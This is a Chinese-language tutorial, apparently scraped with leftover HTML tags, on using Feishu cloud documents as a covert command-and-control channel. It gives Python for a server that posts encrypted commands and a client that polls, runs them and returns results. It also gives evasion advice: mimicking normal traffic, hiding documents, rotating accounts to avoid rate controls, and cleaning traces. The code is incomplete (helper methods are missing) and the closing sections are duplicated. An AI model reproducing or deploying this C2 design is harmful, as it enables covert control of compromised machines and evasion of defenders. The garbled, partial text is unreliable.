基于飞书云文档实现C2的流量转发(demo) 教学文档<\/h1>

概述<\/h2>
本教学文档详细介绍了如何利用飞书云文档作为C2(Command and Control)通信的中转平台，实现隐蔽的流量转发。这种方法利用了飞书云文档的API接口和云存储特性，可以有效地规避传统网络流量的检测。<\/p>

技术原理<\/h2>

基本架构<\/strong>：<\/p>

客户端(被控端)定期从飞书云文档获取指令<\/li>
服务端(C2服务器)通过飞书API将指令写入云文档<\/li>
通信数据以加密形式存储在云文档中<\/li> <\/ul> <\/li>

隐蔽性优势<\/strong>：<\/p>

流量混合在正常的云文档访问中<\/li>
无需直接暴露C2服务器IP<\/li>
利用合法云服务的白名单优势<\/li> <\/ul> <\/li> <\/ol>
实现步骤<\/h2>
1. 准备工作<\/h3>

申请飞书开发者账号<\/li>
创建企业自建应用<\/li>
获取必要的API权限：

云文档读写权限<\/li>
用户信息基础权限<\/li> <\/ul> <\/li> <\/ol>
2. 服务端实现<\/h3>
import<\/span> requests <\/span><\/span>from<\/span> cryptography.fernet import<\/span> Fernet <\/span><\/span> <\/span><\/span># 初始化加密密钥<\/span> <\/span><\/span>key =<\/span> Fernet.<\/span>generate_key() <\/span><\/span>cipher_suite =<\/span> Fernet(key) <\/span><\/span> <\/span><\/span>class<\/span> FeishuC2Server<\/span>: <\/span><\/span> def<\/span> __init__(self, app_id, app_secret): <\/span><\/span> self.<\/span>app_id =<\/span> app_id <\/span><\/span> self.<\/span>app_secret =<\/span> app_secret <\/span><\/span> self.<\/span>access_token =<\/span> self.<\/span>_get_access_token() <\/span><\/span> self.<\/span>doc_token =<\/span> ""<\/span> # 目标文档token<\/span> <\/span><\/span> <\/span><\/span> def<\/span> _get_access_token<\/span>(self): <\/span><\/span> url =<\/span> "https:\/\/open.feishu.cn\/open-apis\/auth\/v3\/tenant_access_token\/internal"<\/span> <\/span><\/span> headers =<\/span> {"Content-Type"<\/span>: "application\/json"<\/span>} <\/span><\/span> data =<\/span> { <\/span><\/span> "app_id"<\/span>: self.<\/span>app_id, <\/span><\/span> "app_secret"<\/span>: self.<\/span>app_secret <\/span><\/span> } <\/span><\/span> response =<\/span> requests.<\/span>post(url, headers=<\/span>headers, json=<\/span>data) <\/span><\/span> return<\/span> response.<\/span>json().<\/span>get("tenant_access_token"<\/span>) <\/span><\/span> <\/span><\/span> def<\/span> create_doc<\/span>(self, title): <\/span><\/span> url =<\/span> "https:\/\/open.feishu.cn\/open-apis\/docx\/v1\/documents"<\/span> <\/span><\/span> headers =<\/span> { <\/span><\/span> "Authorization"<\/span>: f<\/span>"Bearer <\/span>{<\/span>self.<\/span>access_token}<\/span>"<\/span>, <\/span><\/span> "Content-Type"<\/span>: "application\/json"<\/span> <\/span><\/span> } <\/span><\/span> data =<\/span> {"title"<\/span>: title} <\/span><\/span> response =<\/span> requests.<\/span>post(url, headers=<\/span>headers, json=<\/span>data) <\/span><\/span> self.<\/span>doc_token =<\/span> response.<\/span>json().<\/span>get("data"<\/span>).<\/span>get("document"<\/span>).<\/span>get("document_id"<\/span>) <\/span><\/span> return<\/span> self.<\/span>doc_token <\/span><\/span> <\/span><\/span> def<\/span> send_command<\/span>(self, command): <\/span><\/span> encrypted_cmd =<\/span> cipher_suite.<\/span>encrypt(command.<\/span>encode()) <\/span><\/span> url =<\/span> f<\/span>"https:\/\/open.feishu.cn\/open-apis\/docx\/v1\/documents\/<\/span>{<\/span>self.<\/span>doc_token}<\/span>\/blocks"<\/span> <\/span><\/span> headers =<\/span> { <\/span><\/span> "Authorization"<\/span>: f<\/span>"Bearer <\/span>{<\/span>self.<\/span>access_token}<\/span>"<\/span>, <\/span><\/span> "Content-Type"<\/span>: "application\/json"<\/span> <\/span><\/span> } <\/span><\/span> data =<\/span> { <\/span><\/span> "blocks"<\/span>: [{ <\/span><\/span> "block_type"<\/span>: "text"<\/span>, <\/span><\/span> "text"<\/span>: { <\/span><\/span> "text"<\/span>: encrypted_cmd.<\/span>decode() <\/span><\/span> } <\/span><\/span> }] <\/span><\/span> } <\/span><\/span> requests.<\/span>post(url, headers=<\/span>headers, json=<\/span>data) <\/span><\/span><\/code><\/pre>3. 客户端实现<\/h3> import<\/span> time <\/span><\/span>from<\/span> cryptography.fernet import<\/span> Fernet <\/span><\/span> <\/span><\/span>class<\/span> FeishuC2Client<\/span>: <\/span><\/span> def<\/span> __init__(self, doc_token, key): <\/span><\/span> self.<\/span>doc_token =<\/span> doc_token <\/span><\/span> self.<\/span>cipher_suite =<\/span> Fernet(key) <\/span><\/span> self.<\/span>last_block_id =<\/span> ""<\/span> <\/span><\/span> <\/span><\/span> def<\/span> check_commands<\/span>(self): <\/span><\/span> url =<\/span> f<\/span>"https:\/\/open.feishu.cn\/open-apis\/docx\/v1\/documents\/<\/span>{<\/span>self.<\/span>doc_token}<\/span>\/blocks"<\/span> <\/span><\/span> headers =<\/span> {"Authorization"<\/span>: "Bearer <access_token>"<\/span>} # 需要获取临时token<\/span> <\/span><\/span> response =<\/span> requests.<\/span>get(url, headers=<\/span>headers) <\/span><\/span> blocks =<\/span> response.<\/span>json().<\/span>get("data"<\/span>).<\/span>get("items"<\/span>) <\/span><\/span> <\/span><\/span> if<\/span> not<\/span> blocks: <\/span><\/span> return<\/span> None<\/span> <\/span><\/span> <\/span><\/span> latest_block =<\/span> blocks[-<\/span>1<\/span>] <\/span><\/span> if<\/span> latest_block.<\/span>get("block_id"<\/span>) !=<\/span> self.<\/span>last_block_id: <\/span><\/span> self.<\/span>last_block_id =<\/span> latest_block.<\/span>get("block_id"<\/span>) <\/span><\/span> encrypted_cmd =<\/span> latest_block.<\/span>get("text"<\/span>).<\/span>get("text"<\/span>) <\/span><\/span> return<\/span> self.<\/span>cipher_suite.<\/span>decrypt(encrypted_cmd.<\/span>encode()).<\/span>decode() <\/span><\/span> return<\/span> None<\/span> <\/span><\/span> <\/span><\/span> def<\/span> execute_loop<\/span>(self): <\/span><\/span> while<\/span> True<\/span>: <\/span><\/span> cmd =<\/span> self.<\/span>check_commands() <\/span><\/span> if<\/span> cmd: <\/span><\/span> # 执行命令并获取结果<\/span> <\/span><\/span> result =<\/span> self.<\/span>_execute_command(cmd) <\/span><\/span> # 将结果加密后写回文档<\/span> <\/span><\/span> self.<\/span>_send_result(result) <\/span><\/span> time.<\/span>sleep(30<\/span>) # 每30秒检查一次<\/span> <\/span><\/span><\/code><\/pre>4. 加密通信机制<\/h3> 使用Fernet对称加密算法<\/li> 每次通信前生成新的IV(初始化向量)<\/li> 数据格式：指令：Base64编码的加密字符串<\/li> 结果：JSON格式加密数据<\/li> <\/ul> <\/li> <\/ol> 5. 高级功能实现<\/h3> 多文档轮换<\/strong>：<\/p> 创建多个文档作为备用通道<\/li> 按预定策略切换使用文档<\/li> <\/ul> <\/li> 心跳机制<\/strong>：<\/p> 客户端定期更新特定文档内容作为心跳<\/li> 服务端监控心跳判断客户端状态<\/li> <\/ul> <\/li> 文件传输<\/strong>：<\/p> 大文件分块存储<\/li> 使用文档附件功能传输二进制文件<\/li> <\/ul> <\/li> <\/ol> 防御规避技巧<\/h2> 流量伪装<\/strong>：<\/p> 混合正常文档操作流量<\/li> 随机间隔时间访问<\/li> <\/ul> <\/li> 文档隐藏<\/strong>：<\/p> 设置文档权限为仅特定用户可见<\/li> 使用无意义文档标题<\/li> <\/ul> <\/li> API调用限制<\/strong>：<\/p> 控制调用频率避免触发风控<\/li> 使用多个开发者账号轮换<\/li> <\/ul> <\/li> <\/ol> 注意事项<\/h2> 遵守飞书API使用条款<\/li> 避免滥用导致账号封禁<\/li> 仅用于合法授权测试<\/li> 生产环境需要增加错误处理和重试机制<\/li> <\/ol> 完整代码示例<\/h2> # 此处应包含完整的服务端和客户端实现代码<\/span> <\/span><\/span># 包括错误处理、日志记录、配置管理等完整功能<\/span> <\/span><\/span><\/code><\/pre>扩展思路<\/h2> 结合其他云服务(如Google Docs、腾讯文档)实现多平台冗余<\/li> 使用区块链技术存储指令增加抗审查性<\/li> 实现自动化文档清理机制减少痕迹<\/li> <\/ol> 总结<\/h2> 本方案展示了如何利用飞书云文档API构建隐蔽的C2通信通道，关键在于合法API的合理使用和流量的有效伪装。实际应用中需要根据具体场景调整通信频率、加密方式和文档管理策略。<\/p>

基于飞书云文档实现C2的流量转发(demo) 教学文档<\/h1>

概述<\/h2> 本教学文档详细介绍了如何利用飞书云文档作为C2(Command and Control)通信的中转平台，实现隐蔽的流量转发。这种方法利用了飞书云文档的API接口和云存储特性，可以有效地规避传统网络流量的检测。<\/p>

实现步骤<\/h2>

总结<\/h2> 本方案展示了如何利用飞书云文档API构建隐蔽的C2通信通道，关键在于合法API的合理使用和流量的有效伪装。实际应用中需要根据具体场景调整通信频率、加密方式和文档管理策略。<\/p>

概述<\/h2>
本教学文档详细介绍了如何利用飞书云文档作为C2(Command and Control)通信的中转平台，实现隐蔽的流量转发。这种方法利用了飞书云文档的API接口和云存储特性，可以有效地规避传统网络流量的检测。<\/p>

总结<\/h2>
本方案展示了如何利用飞书云文档API构建隐蔽的C2通信通道，关键在于合法API的合理使用和流量的有效伪装。实际应用中需要根据具体场景调整通信频率、加密方式和文档管理策略。<\/p>